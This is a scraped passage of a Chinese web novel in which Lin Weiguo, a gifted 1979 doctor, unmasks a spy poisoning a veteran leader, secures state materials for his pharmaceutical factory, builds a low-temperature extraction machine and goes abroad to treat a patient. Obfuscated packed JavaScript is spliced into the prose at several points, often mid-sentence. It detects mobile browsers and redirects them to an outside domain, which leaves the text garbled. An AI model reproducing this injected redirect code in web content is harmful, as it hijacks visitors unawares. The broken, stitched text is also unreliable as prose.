他点了点头，顺势而为，故意放出风声，对徐振声和秦振邦说道：“首长的‘地基’亏空太甚，想要修复，非一日之功。我需要一种非常罕见的、只生长在南方边境原始雨林中的药材作为‘药引’，才能开始第一阶段的治疗。我已经委托安平县那边紧急寻找，一旦找到，会立刻通过军用专机空运过来。” 这个消息，自然是假的。 这是林卫国说给那个隐藏在暗处的“内鬼”听的！ 他断定，对方在得知陈老还有救，并且即将得到关键“药引”之后，绝不会再坐视不理！ 他必然会想尽一切办法，在“药引”到达之前，进行最后的破坏，或者，做最致命的一击！ …… 果不其然。 第二天深夜，整个西山疗养院万籁俱寂。 一道黑色的、如同鬼魅般的人影，利用巡逻换岗的间隙，避开了所有的监控和明哨，悄无声息地潜入了存放陈老日常用品的后勤准备间。 此人行动极其专业，手法干净利落，显然是经过特殊训练。 他从怀中取出一个比指甲盖还小的蜡丸，用特制的工具将其捏开，露出里面无色无味的粉末。他正准备将这些能瞬间引发心脏骤停的速效毒剂，加入陈老明天要喝的专用水杯之中。 然而，就在他的手，即将要碰到水杯的刹那！ 啪！ 整个房间的灯光，瞬间大亮！ 刺眼的光芒，让那黑影下意识地用手挡住了眼睛。 当他放下手时，却骇然地发现，房间的门口，不知何时，已经站满了人！ 秦老将军的警卫员，如同铁塔一般，堵死了他所有的退路。 而林卫国，正抱着胳膊，一脸平静地靠在门框上，那眼神，如同在看一个早已落入陷阱的猎物。 “等候多时了。” “束手就擒吧。” 那黑影知道自己已经暴露，眼中闪过一丝决绝，猛地向墙壁撞去，竟是想自尽！ 但早已等候多时的警卫，又岂能让他如愿？ 一个箭步上前，干净利落的一个擒拿，便将他死死地按在了地上。 在雪亮的灯光下，当所有人看清那个“内鬼”的脸时，全都露出了难以置信的、极度震惊的神情！ 这个人，不是他们想象中任何一个普通的护工或者医生。 他穿着和徐振声院士一样的白大褂，戴着一副金丝眼镜，文质彬彬。 他是…… 他是徐振声院士最信任、最得意，跟了他整整三十多年，亲手从一个实习生带起来的得意门生！ 是这次中央保健局专家组的核心成员之一！ 张怀德，张副教授！ “怀……怀德？” 跟在后面闻讯赶来的徐振声院士，在看清那张他熟悉无比的脸后，如遭雷击！ 他指着那个被死死按在地上的人，嘴唇哆嗦着，浑身剧烈地颤抖，一句话，也说不出来。 第53章 风暴前夜，两份大礼 冷光灯刺眼，空气沉闷得能拧出水。 张怀德被铐在椅子上，头发凌乱，哪还有半点教授模样。 可那双眼睛，透着知识分子惯有的傲慢和顽固。 “不知道你们说什么东西。” 他推了推鼻梁上没被搜走的金丝眼镜，冷笑，“我是中央保健局专家，搞医疗的！不是啥特务。没证据就抓我？非法拘禁！” 嘴硬得不行，死活不开口。 他清楚自己身份特殊。咬**不认，对方拿他没办法。红墙里头办事？讲规矩讲程序，他们动不了他。 碰到这种受过训的高级知识分子间諜，常规那套逼问，效果甚微。 审讯僵住了。卡在那儿。就在这时，审讯室的门被推开，林卫国平静地走了进来。 他没有看张怀德一眼，只是搬了张椅子，在他的对面坐下。 “你们先出去吧。”他对秦老将军的警卫员说道。 警卫员们有些犹豫，但还是服从命令，退了出去，将空间留给了这两个人。 林卫国没有问任何问题，他只是伸出手，淡淡地说道：“张教授，我为你诊个脉吧。” 张怀德一愣，随即发出一声嗤笑：“少在我面前装神弄鬼！” 林卫国不以为意，自顾自地将手指，搭在了他那冰冷的手腕上。 片刻之后，林卫国收回了手。 他平静地，说出了第一件事。 “你长期在服用一种从西欧走私进来的、军用级别的药物，用来强行抑制心率，保持在任何情况下的绝对冷静。但这种药有副作用，它会损伤你的肝脏。你的右下腹，每天凌晨三点左右，都会有轻微的灼痛感。” 张怀德脸上的嗤笑，瞬间僵住了。 林卫国没有停顿，继续说出了第二件事。 “你对外宣称，你左肩上有一块因为年轻时摔伤而留下的旧伤疤。但那不是摔的，那是一颗点22口径的**，近距离擦伤后留下的痕迹。伤你的人，还是个左撇子。” 张怀德的额头，开始渗出细密的冷汗。 林卫国看着他那双因为震惊而微微放大的瞳孔，平静地说出了第三件事。 “你远在东北农村的父母，上个月，刚刚收到了一笔高达五千美元的、从瑞士银行匿名汇来的所谓‘海外养老金’。这笔钱，足够让他们安享晚年了，对吗？” 林卫国的每一句话，都像一柄无形的、千钧之重的巨锤，狠狠地砸在张怀德的心脏之上！ 他那些引以为傲的、天衣无缝的所有伪装，在这个年轻人面前，都如同透明的薄纸，被一层一层，毫不留情地撕开！ 最终，当林卫国的嘴里，清晰地、不带丝毫感情地，吐出那个让他灵魂都在颤抖的代号时，他的心理防线，彻底崩溃了。 “KGB—7。” 张怀德猛地抬起头，那双隐藏在镜片后的眼睛里，所有的傲慢和顽固都消失得无影无踪，只剩下无边的恐惧和绝望。 他知道，自己输了，输得一败涂地。 他交代了自己早在国外留学期间，便被境外势力“KGB”收买，奉命长期潜伏，并在三年前接到指令，开始不惜一切代价，对陈老进行微量**的全部事实。 …… 此案立刻被列为国家最高机密。 一场无声的、雷霆万钧的清洗，在京城的高层，悄然展开。 林卫国因为在此次事件中，揪出了这颗隐藏最深的毒钉，立下了不世之功。其地位和受最高层信任的程度，已经达到了一个全新的、不可思议的高度。 排除了内鬼的威胁后，林卫国正式开始为陈老治疗。 他以自己那滴融合了“龙涎”能量的、堪称生命精华的血液为核心，辅以天池水和其他数十种珍贵药材，在军区医院的顶级实验室里，耗费了三天三夜，终于炼制出了一颗能同时清除KGB—7型毒素，和补充“生命本源”的丹药。 治疗期间，周正国副主任亲自从省城赶来，代表省里和国家，为林卫国送来了第一份“大礼”。 这份奖励，不是金钱。 而是几张盖着国家计划委员会红色大印的“特别指标批条”！ 周正国将那几张轻飘飘却又重如泰山的纸，郑重地交到林卫国手中，激动地说道：“卫国！这是国家给你的奖赏！” 第一张，是“十吨特种优质钢材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老将军视线钉在方卫国脸上，“拉你的有，琢磨你的更多……甚至，想彻底抹掉你的，也不是没有。” 他顿了顿，从怀里摸出烟盒，却没点燃。 “你搪塞什么‘上古炼药术’，别人当真了。” 将军吐字很缓，带着重音，“专管这块的秘密部门，盯上你了。” 他指头朝紧闭的窗户一点：“外面候着呢，点名‘请’你去他们基地……配合研究。” 第54章 急流勇退，国士无双 第七办公室的“邀请函”，像一盆冷水，瞬间浇熄了林卫国心中刚燃起的希望火苗。 这个隶属国家科委的神秘机构，专司“特殊生命科学”研究。此刻，他们点名要林卫国协助。 林卫国的心直往下坠。“协助”二字背后的含义，他再清楚不过。 这看似是能力的最高褒奖， 却更是个裹着蜜糖的致命牢笼！ 一旦迈进那扇门，等待他的将是永无止境的秘密研究与隔离。他将沦为一份珍贵的“样本”，自由就此终结。那时，什么庇护家人的誓言、构建医疗帝国的雄心、回归田园的宁静之梦，通通都将化为泡影。 绝不能去。 …… 来者很快登门。出乎意料，仅一人，非但毫无咄咄逼人之势，反像个斯文书生——约莫四十，黑框眼镜，目光却锐利如鹰。 “林卫国同志，你好。”来人微笑伸出手，“我姓白，第七办公室主任。” 第七办！一个游离于所有官方记录之外的名字。 “白主任，幸会。”林卫国伸手与他轻握。 白主任笑容无懈可击，语气温煦却透着不容置疑：“卫国同志，长白山雪崩的壮举，还有元勋康复的功劳，我们都知道了。领导们对你的能力和觉悟，评价极高。” 他顿了顿，话锋直指核心：“第七办肩负着国家最前沿的生命课题，意义重大。现在，急需你这样的英才暂时搁置原职，加入我们，共同攻克世界级难题。这是组织的高度信任，更是时代赋予你的荣光。” 一席话，将一场可能的“拘禁”，巧言包装成至高的使命召唤。 林卫国明白，硬抗是绝路。那年月，“服从组织”是天条。稍有不慎，“个人主义”、“不顾大局”的帽子便会扣下，后果不堪设想。 正当白主任笃定对方别无选择，只等一个“同意”时，办公室的门被推开了。 秦振邦老将军与省计委副主任周正国，一左一右走了进来。 两人脸上，都恰到好处地堆满了“为难”和“焦灼”。 没有直接反对，一出精彩的“双簧”心照不宣地开场。 秦老将军一屁股陷进沙发，愁眉苦脸地嚷道：“哎哟！小白你可算来了！快，快来给咱军区断断官司！”他手指一点林卫国，那“埋怨”劲儿十足。 “军区后勤部刚把林同志研发的‘速效止血散’列为特级战略储备物资！多少边防哨所的战士，眼巴巴等着这救命的药膏装备下去呢。” “你们倒好，一句话就要把我们技术总顾问借走。小白，你告诉我，生产谁抓？战士们的命谁保？” 秦老话音未落，周正国立刻接上，神情更为“沉痛”。 “白主任，你这是要了我们省计委的命啊！” 他“啪”地将一份文件拍在桌上。 “看看！这是省里刚通过的决议！‘卫国制药厂’是我亲自特批的，省里医药改革开放的探路先锋！” “现在你们把他这唯一的顶梁柱、发动机抽走了。厂子垮了，改革失败，这责任，是省计委背，还是你们七办扛？” 一个祭出“边防战士的生命”，一个压上“改革失败的政责”。 两座无形大山狠狠压下，白主任斯文的脸瞬间变色。 就在这胶着之际，沉默的林卫国终于开口，不卑不亢。 “白主任，感谢组织信任。” “但知识写在纸上终是理论。它的真正价值，在于变成能救人、能为国创造价值的产品。” 他从公文包中拿出盖着鲜红大印的国家计委“指标批条”，轻轻推到白主任面前。 “国家刚给我这副重担，批了特种钢材，给了正式编制，就是希望我尽快把成果转化成实际生产力，服务人民和军队。” “若此刻撂下挑子，随您回去搞纯理论研究，岂非辜负国家的信任与这笔巨大投资？这份责任，林卫国担不起。” 这套滴水不漏的“组合拳”，彻底封堵了白主任所有说辞。 他额头渗出细汗，终于意识到： 眼前的林卫国，早已不是那个可供随意调动的技术人员了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200675|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最终，在秦老和周副主任的“周旋”下，白主任顺势下了台阶，各方达成了一个精妙的安排： 给林卫国国家科委第七办公室特聘外部顾问的头衔。 这是个没有实权却分量极重的虚职。 他不需坐班，不必介入具体项目，只需按时提交报告，国家需要时需随时听候召唤。 风波落定。 林卫国再次婉拒了陈老赠予的京城宅院，只带着国家计划委员会的“特批文件”，登上了返回安平的飞机。 军用吉普驶入安平县城。 县政府院门口，钱国栋县长等人早已等候多时。 林卫国风尘仆仆，未多寒暄，径直将几份盖着国家计委大红印章的批条放在钱国栋的办公桌上。 “十吨……特种优质钢材？！” “五万只……高规格医用玻璃瓶？” 主管工业的副县长，指尖颤抖地念完数字，已是震撼失声。 “卫国制药厂……新增一百名正式工招工指标……连同配套的城市户口、粮油关系……” 一百个正式工！ 一百个城市户口！ 这年头铁饭碗就是一切，一个户口足以改变三代人命运。 这份文件的冲击力，远胜过百万现金！ 这意味着，林卫国拥有了让一百个农村家庭一步登天吃上“商品粮”的能力！ …… 卫国制药厂招一百名正式工的消息，像颗**在小小的安平县城炸响。 全城沸腾！这不是临时工、合同工，是端一辈子的铁饭碗！ 林卫国刚安顿的新家门槛，几乎被踏破。 “卫国啊，我是你三大爷家的远房侄子，小时候还抱过你呢……” “小林厂长，这是我们局里一点心意……我那不成器的儿子……” “林顾问，我可是你父亲的老战友！这面子你得给！” 无数八竿子打不着的亲戚、挖空心思的领导、提着礼物的故旧，潮水般涌来。目的只有一个：为孩子抢一个改变命运的名额。 第55章 荣归故里，百人指标 县长钱国栋的电话追了过来，声音听着客气，分量却沉甸甸的。话里话外只绕着一个意思：厂里得腾出几个位置，给劳模子弟安排安排。 这沉甸甸的人情债，林卫国愣是没接。他径直走到工厂大门外，“刷啦”一声，鲜红的告示当众贴了出来。纸上三条铁律，墨迹还没干透： 1。技术岗，全县招！公开考，当场出分，有本事你就上！管你爹是谁，手上活儿好才算数！ 2。普工优先：烈属、退伍兵、身残志坚的同志，排前头！ 3。后门免谈！谁敢走门路，厂门对你关到底！ 这套不讲情面的规矩，把不少人想走捷径的念头堵得死死的，自然也捅了马蜂窝，得罪了几位有头有脸的“大人物”。 可对安平县的寻常百姓来说，这告示简直是天大的好消息。口口相传里，林卫国的名字透着滚烫的热度，瞬间点燃了整个县城。他的声望，被这民间的喝彩声浪托到了从未有过的顶峰。 …… 招工的风浪总算平息，林卫国也难得喘了口气，家里那份久违的暖意，似乎也回来了。 他揣着攒下的钱票，从供销社里抱回个硬邦邦的大家伙——县里第一台崭新的“红灯牌”电子管收音机。 母亲孙秀娥围上去，指尖在那光滑的红木机壳上来回摸着，小心翼翼，爱不释手。 父亲林长山呢？守着收音机听新闻，乐得合不拢嘴。 小屋里的热气，无声地熨帖着林卫国连日奔波的筋骨，那点疲惫悄然散去。 可板凳还没焐热，厂子要扩建的风又起了。 麻烦的是：好钢材全攥在县物资局手里，纹丝不动。 赵胜利咬着牙，在物资局门口硬是转了三天，连局长王胖子办公室的门坎儿都没蹭上边。 第四天，他心一横，怀里揣上两条好烟，终于堵着了王胖子。 办公室里，王胖子腆着个大啤酒肚，官腔味十足。两根肥手指捻起那张盖着国家计委大红印章的批条，小眼睛慢悠悠眯上一条缝，又睁开： “赵科长啊，这东西…嗯，是真的，我们不赖。” 他慢条斯理端起茶杯，吹开浮叶吸溜一口，拖长了调子： “不过呢——这批钢料，那是国家的战备物资！眼下县里几个大项目都等它救命！你们厂？”他放下茶杯，手指轻轻敲着桌面，“按规矩，等吧…排队。” 赵胜利急了：“王局长！这可是国家计委亲自特……” “啧——行了行了！”王胖子不耐烦地挥挥手，像赶只苍蝇，“规矩？也不是我王某人定的嘛！”他靠在椅背上，揉了揉圆润的太阳穴，一副爱莫能助的样子。 “至于啥时候能轮到你们……那可就不好说喽。” 卫国制药厂的扩建工地上，热火朝天。 新招的一百名工人干劲十足，短短几天就挖好了新厂房的地基。大伙儿都铆足了劲，只等那批钢材一到，立刻就能起高楼建生产线。 然而，一连三天过去，那批从京城特批的十吨优质钢材，连半根钢筋的影子都没见着。 厂长办公室里，赵胜利重重坐下，把汗湿的帽子狠狠摔在桌上，满脸通红。 “欺人太甚！”他灌下半缸凉水，喘着粗气，“我跑了整整三天，连那王胖子的面都见不着！” “今天堵着他办公室，两条好烟递上。你猜他说啥？文件是真文件，但钢材是战略物资，计划紧张，排队！” “我嘴皮子磨破，他就跟个油葫芦似的，翻来覆去就这两句屁话！” 林卫国静静听着，指节轻叩桌面。 他心里门儿清，症结不在赵胜利那儿。物资局那位王胖子局长，早年间便声名在外。谈不上什么生死对头，纯粹是个衙门里的老油条，骨髓里都渗着雁过拔**的油花。 眼瞅着卫国制药厂蒸蒸日上，还捏着国家计委的批文，王胖子那点心思就活了，仗着手头那点审批权暗地里使绊子，明摆着要揩油——要么塞几个亲戚进厂吃闲饭，要么就讹点厂里紧俏的**福利。 这种人，最难缠。 他处处顶着“规矩”当挡箭牌。“要排队”、“计划吃紧”，这些托词到哪都是万金油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“关于卫国制药厂特批钢材一事，命令你局：省军区即刻派出专项督办小组，全程督办！” “十吨优质钢材，限你在22小时内，一根不少，全部调拨到位！” “这是死命令！延误军需生产，后果你自己承担！” 电话“咔”地挂断。 王胖子举着话筒，如同被雷劈中，僵在原地。冷汗“唰”地冒出来，瞬间浸透了他的新衬衣。 省军区后勤部？！死命令？！ 他浑身的肥肉不受控制地颤抖。做梦也想不到，一个乡镇小厂背后，站着的竟是省军区这尊大神！借他一百个胆子，也不敢再动半点心思！ 当晚，王胖子亲自带着全局的运输车辆，从仓库紧急调出质量最好的一批钢材，连夜装车。他甚至亲自押送，一路鸣笛，风驰电掣将钢材送到了卫国制药厂灯火通明的工地。 远远看到在卸货点指挥工人的林卫国，王胖子连滚带爬跳下车，跑到他跟前，挤出比哭还难看的笑。 “林、林厂长！误会……全是误会啊！”他语无伦次地道歉，手抖得连烟都掏不出来。 林卫国平静地看着他，只淡淡道：“王局长辛苦。重点工程，抓紧就好。” 工厂扩建的拦路虎，就此扫清。 林卫国将全副精力投入新药研发。他仔细筛选高建功留下的研究笔记，最终锁定了配方相对成熟、对原料要求不太苛刻的药方—— “通脉丹”：一种能显著改善老年人心脑血管功能，预防血栓、降血脂的特效药。一旦成功，它将给无数饱受病痛折磨的老人带来希望。 可就在实验室进行最后试制时，一道几乎无法逾越的技术难关横亘眼前：配方中，一味最核心的辅料，必须用一种名为“低温临界萃取”的特殊工艺提纯，才能完整保留其活性成分。 然而在1979年，无论在国内还是全世界，这种技术和设备，根本不存在！ 难道这划时代的新药，就要因这道技术壁垒，胎死腹中？ 卫国制药厂，新落成的技术实验室。 空气像凝固了一样沉重。 厂长林卫国目光扫过围拢的技术骨干，将一份整理自高建功笔记的“通脉丹”配方放在桌上。“这药，如果能量产，”他的声音不高，却斩钉截铁，“将彻底改变我国老年人对抗心脑血管疾病的困局。” 他点了点配方上标注的核心辅料。“唯独这一味，活性成分极不稳定。必须在接近冰点的恒温下，用一种特制溶剂才能完美萃取。温度差一丝，药效就全毁了。” “低温萃取”四个字，在后世制药领域稀松平常，但在1979年的中国，却不啻于一道天堑。 经验最丰富的老技术员李师傅搓着手，眉头拧成了疙瘩：“厂长，这…这根本办不到啊！咱们顶天能从县冰库拖几块冰来降温，可温度忽上忽下，咋个恒定法？” “是啊，李师傅说得对。别说咱厂，就算省城那些大厂，怕是也没听过这种洋玩意儿。” 技术骨干们你看我，我看你，脑子里最大胆的念头，也够不着林卫国描述的那个领域。 新药研发计划眼看就要被这时代的技术壁垒掐死在摇篮里。 林卫国脸上却不见沮丧。他平静地收起配方，说了一句石破天惊的话：“没有设备，就自己造一台。” …… 厂长办公室。 赵胜利端着茶缸的手猛地一抖，茶水差点泼出来。“自己造设备？卫国！我滴好兄弟！”他急得在屋里直转圈，“那可不是打把镰刀锄头！制药设备精度要求比机床还高！厂里老师傅们修修补补是把好手，可从零开始造台听都没听过的怪机器？你这不是异想天开吗？” “我知道，难于登天。”林卫国目光投向窗外尘土飞扬的扩建工地。“但‘通脉丹’太重要了，对厂子，对国家，都至关重要。这个坎儿，必须迈！” 赵胜利对上他那双平静却执拗的眼睛，重重叹口气。他知道，眼前这人一旦认准了路，十头牛也拉不回。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200677|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 林卫国一头扎进了实验室。 三天三夜。 他眼中布满血丝，脑中那些源自未来的工业知识如浪潮奔涌。他像最精妙的机械师，将这个时代触手可及的工业元件拆解、重组、赋予新的生命：冰库的制冷压缩机提供稳定低温，化工厂的离心机带来高速旋转的力道，再加上他亲手设计的一套齿轮杠杆精密进料系统…… 几十张设计图在他笔下诞生。结构看似简陋，蓝图背后却闪耀着跨越时代的工业智慧。 当林卫国带着这叠沉甸甸的图纸，宣布要亲自带队“造机器”时，整个工厂炸开了锅。 大伙儿都怀疑，这位年轻得过分的厂长，怕不是在京城受了刺激，魔怔了。 林卫国不为所动。他亲自点将，选出最巧手、心思最活络的老师傅，领着京城特批的优质钢材，在那新建的车间里，摆开一场在外人看来荒唐无比的“炼钢”阵仗。 “李师傅，轴承抛光再精确零点零一毫米！” “王工！压缩机接口，加双层密封胶圈，一丝漏气都不行！” “不行！离心转子动平衡偏差大了，全拆了重装！” 半个月里，林卫国吃住都在车间。他不再是高高在上的厂长，成了最严厉的总工程师。他那神乎其技的钳工功夫，他对机械原理近乎“未卜先知”的深刻理解，让起初持疑的老师傅们，眼神从怀疑到震惊，再到彻底的叹服！ 无数个日夜的失败、修正、推倒重来之后。 那个清晨，林卫国亲手合上了那台模样古怪如钢铁巨兽的“怪东西”的电闸。 整个车间鸦雀无声，所有人屏住呼吸。 没有**，没有刺耳的刮擦。 只有一阵沉稳、有力、充满生机的“嗡鸣”声，在车间里回荡开。 精心处理的药材注入进料口。复杂的低温离心萃取流程运转完毕。 一滴晶莹剔透、药香奇异的药材精华，带着完美的纯度和浓度，从出口滴落进下方的烧杯。 凝滞的瞬间后，炸裂的欢呼声差点掀翻车间屋顶！ 第57章 攻克技术，邻国来客 “成了！真成了！” 工人们涌上去，狂喜地将林卫国高高抛起！ 然而，成功喜悦还未散去。 当天下午，一辆挂黑色外事牌照的伏尔加轿车驶入厂区。 参观工厂时，亲眼见证了速效止血散神奇的止血效果，又查看了“通脉丹”令人震惊的药理报告后，朴正宇参赞的脸色越来越凝重。 通过翻译，他郑重地提出一个让所有人意外的请求。 “作为回报，我们将向贵国提供一批贵方目前急需的——西德原装进口高精度工业机床。” 朴正宇参赞的话，瞬间引爆了卫国制药厂简陋的会客室。 高精度工业机床！ 钱国栋县长和省外事办的李主任，脸上的震惊迅速被凝重取代。他们无比清楚这份“邀请”蕴含的**分量和那足以令全省疯狂的巨大诱惑！ 有了这批机床，林卫国脑海中那些因设备精度不足而搁置的高级药物配方，才有了实现的可能！ 这根本不是请求，是一份裹挟着巨大**筹码、令人无法拒绝的“订单”！ 林卫国却深知，这泼天的富贵背后是无尽的凶险。出国意味着远离他所有国内的人脉和保护，踏入一个完全陌生、规则迥异的环境。在那里，他不再是“神医”或“国家顾问”，仅仅是一个被请去看病的“工具”。治好了，或许能载誉而归；可一旦效果不如预期，等待他的可能就是“国际医疗事故”的指控，永远消失在异国他乡。 “不行！我不同意！” 第一个激烈反对的是钱国栋县长。他威严的脸上此刻写满了不容置疑的决绝。“林卫国同志是我们安平县，乃至全省重点保护的科研人才！他的安全是第一位的！这件事，我坚决反对！” 省外事办李主任擦了擦额头的汗，对朴正宇婉转道：“朴参赞，此事重大，已超出我们的权限，必须立刻向京城的上级汇报。” 当夜，林卫国被钱国栋请到了县政府招待所。 房间里坐满了人，钱国栋和孙思源教授，还有苏晚夏都在。 每个人脸上都写着同一个词——反对。 “卫国，你听我说。” 孙思源教授语重心长：“异国他乡，人心难测。万一……” 苏晚夏没有说话，但那双红肿的眼睛说明了一切。 …… 西山疗养院。 秦振邦老将军和周正国副主任同样陷入两难。 “老**，您看？” 周正国眉头紧锁，手指一下下敲着桌面。“从国家利益角度，我们太需要那批高精度机床了！它能极大弥补我们在精密仪器、国防工业等多领域的短板！” 秦振邦沉默了许久，才缓缓叹了口气。“我担心的是卫国那孩子的安全。他是国家未来的希望，我不能眼睁睁看他去冒险。” 国家未来的战略利益，国之栋梁的个人安危。 这个抉择，太难。 …… 招待所里，面对众人的劝阻，林卫国彻夜未眠。 黎明时分，他走出房门，眼中已无犹豫，只剩下洞悉一切的平静。他做出了决定。 “我去。” 短短两个字，让在场所有人的心猛地一沉。 “卫国！”苏晚夏再也控制不住，冲上前抓住他的胳膊，泪水决堤。“什么机床，什么国家利益，都比不上你的命重要！你不能去！” 林卫国看着她梨花带雨的脸，心中一软，却依旧坚定地拉开她的手。 “放心，我不是一个人去。” 他迎着钱国栋和孙思源等人惊疑的目光，说出了深思熟虑的条件： “朴参赞，”他通过翻译，对等候的朴正宇道，“我可以答应邀请。但有条件。” “第一，我需组建自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200678|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的团队，包括医疗助手苏晚夏同志和安保负责人陈虎同志。” “第二，我此行以‘技术援外’名义。我会将‘通脉丹’生产技术，作为我国援助兄弟邻邦的重点项目，在出发前完成国内技术交底，协助你们建立第一条完整生产线。确保我不在时，我们自己的工厂也能正常运转。” 他顿了顿，说出最关键的一条：“第三，也是最重要的一条。贵方必须先将协议中一半的高精度机床，作为‘定金’，先行运抵我国丹东港。我们验货后，我才会动身。” 三个条件出口，房间瞬间死寂！ 钱国栋和孙思源目瞪口呆！高明！这根本不是卑微的“求医”，而是林卫国占据主动的“技术交换”！他将团队安全、工厂未来与国家利益，通过这三个条件紧紧捆绑，将所有主动权牢牢握在手中！ 朴正宇脸色阴晴不定。他低估了这位年轻中国医生的城府。他不敢做主，立刻通过专线向上汇报。 数小时的紧急磋商后，邻国给出了答复： “我们同意林同志所有条件。” …… 准备工作紧锣密鼓。在林卫国主持下，工厂技术交接有条不紊地进行着。第一批机床运抵丹东港的消息，也通过军方渠道传来。 出发前夜，苏晚夏来到林卫国的宿舍。她没有劝阻，只是默默为他收拾远行的行囊。昏黄灯光下，她的侧影格外温柔。 叠好最后一件衬衫放进箱子，她终于鼓足勇气，转身直视林卫国的眼睛，声音轻若蚊吟却又无比清晰： “卫国，你一定要平安回来。” “我等你。” 这短短四个字，如同暖流击中了林卫国心底最柔软的地方。那份彼此心照不宣的情愫，在这离别时刻，终于明朗。 窗外夜色正浓。林卫国即将踏上的，是一条通往黎明前黑暗、承载着巨大危险与机遇的异国之路。 第58章 异国初抵，无声的较量 飞机历经数小时飞行，终于在充满神秘色彩的邻国首都降落。 舱门打开，一股截然不同的气息扑面而来。宏伟的苏式建筑，过分空旷的街道，行人脸上高度统一的自豪与肃穆，共同构筑出一种陌生而压抑的氛围。 他们被径直送往市郊一座守备森严的特殊疗养院。高耸围墙，密布岗哨，连空气都弥漫着凝重肃杀，无声宣告着此地主人的非凡身份。 迎接他们的，是邻国最权威的医疗专家，朴正勋。这位老者头发花白，一丝不苟，脸上挂着礼节性的微笑。然而厚厚镜片后的目光，却充满了审视与怀疑。作为领袖的首席保健医生，他对本国“主体医学”充满自豪，对外界、特别是对林卫国这位过分年轻的中国同行，天然带着深深的不信任。 “欢迎三位中国同志。”朴正勋语气彬彬有礼，却透着一股疏离。“房间已备好，请先休息。晚上安排了接风晚宴。” 表面礼遇周全，食宿规格最高。然而，他却只字不提领袖的病情。 无声的较量，从踏入这片土地便开始了。 晚宴设在考究的小厅。菜肴不多，却道道精致。朴正勋频频举杯，盛赞中朝友谊，气氛似乎热烈。 酒过三巡，獠牙显露。 “林大夫，”他看似随意地放下酒杯，“听闻中医讲究‘阴阳五行’，玄妙非常。但据我所知，人体内微量元素的平衡才是健康的关键。譬如，锌元素失衡便会导致免疫力下降。不知林大夫对此有何高见？” 问题刁钻。他用西医的微量元素理论挑战中医的哲学根基，意图先给林卫国一个下马威。 旁边的几位朝鲜专家，眼中也闪烁着看好戏的光。 苏晚夏的心悬了起来。 林卫国却连筷子都未放下，夹起一块泡菜，不紧不慢地送入口中。嚼完咽下，他才平静抬眼看向朴正勋审视的目光。 “朴院长的见解有理，但只见树木，不见森林。” “锌元素固然重要。可决定它能否被人体吸收、运转、利用的是什么？是脾胃运化，是肝气疏泄，是肾精封藏。这便是中医‘五行’相生相克的道理。您只看到‘锌’这个结果，却忽略了驱动它的深层‘五行’系统。本末倒置，差之毫厘，谬以千里。” 一番话，深入浅出，一针见血！ 朴正勋脸上的笑容，瞬间僵住。 他不甘示弱，又抛出几个关于神经传导、细胞凋亡的刁钻问题。 林卫国对答如流，甚至在答完最后一问后，反客为主，微笑着反问： “朴院长，我也有一问。贵国在治疗老年性心肌缺血上，似乎沿用着六十年代苏联的‘大剂量扩张血管’疗法？此法虽可短期缓解症状，长期使用却会不可逆损伤血管壁弹性，甚至诱发脑溢血。不知可有更新的替代方案？” 此话如重锤，狠狠砸在朴正勋心上！ 这正是他们面对领袖治疗时最棘手的瓶颈！是整个医学体系中那个过时却无力摆脱的致命缺陷！他引以为傲的理论，竟被这年轻人如此轻易地戳中了痛处！ 晚宴在尴尬与暗涌的氛围中，不欢而散。 …… 翌日，朴正勋图穷匕见。 他将林卫国带至疗养院深处的一间特护病房。 “若您能保住他的腿，我们便承认您的资格，全力配合后续工作。否则……” 浓烈的草药混合腐臭气味扑面而来。床上年轻人的右腿肿胀如象腿，皮肤呈恐怖黑紫色，伤口渗出腥臭脓血。 苏晚夏立刻上前仔细检查，随即返回林卫国身边，压低声音，急切道：“卫国！情况极糟！感染深入骨髓，已引发败血症！看用药记录，他对我们接触过的所有抗生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 